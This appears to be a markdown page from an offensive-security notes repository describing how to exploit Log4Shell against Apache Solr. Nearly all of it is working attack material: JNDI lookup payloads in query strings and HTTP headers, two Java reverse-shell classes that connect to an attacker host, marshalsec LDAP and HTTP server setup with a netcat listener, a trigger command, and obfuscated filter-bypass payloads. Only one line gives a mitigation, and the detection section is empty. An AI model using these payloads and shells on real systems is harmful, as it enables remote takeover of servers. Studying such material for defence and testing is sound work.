killchain-compendium/Exploits/Java/Log4Shell.md

4.3 KiB

Log4Shell

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

Java Naming and Directory Interface JNDI

  • Vulnerability can be exploited via ${jndi:ldap://<attacker-IP>/foo}

POC

curl 'http://$TARGET:8983/solr/admin/cores?foo=?$\{jndi:ldap://$ATTACKER_IP:4449\}'
  • Use HTTP header field as storage for payload or any other possible input field
X-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}
Accept: ${jndi:ldap://$ATTACKER_IP:1389/foo}
X-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}

Usage

  • Fuzz endpoints to applicate the exploit on

  • Clone and build marshallsec via mvn clean package -DskipTests

  • Java version should be the same as the one on the target

  • A Proxy LDAP server to an HTTP server is needed

  • Compile following Java reverse shell via javac Exploit.java -source 8 -target 8 to Exploit.class

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash $ATTACKER_IP 4449");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

or another one

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {
    static {
        String host = "$ATTACKER_IP";
        int port = 4711;
        String cmd = "/bin/sh";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        } catch (Exception e) {
        }
    }
}
  • Run the LDAP, HTTP and reverse shell
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit"
php -S 0.0.0.0:8000
nc -lvnp 4449
  • Trigger via curl 'http://$TARGET:8983/solr/admin/cores?foo=$\{jndi:ldap://$ATTACKER_IP:1389/Exploit\}'

Detection

Obfuscation

  • Possible bypasses are as follows
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}

Mitgation

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
10.10.90.21210.10.90.212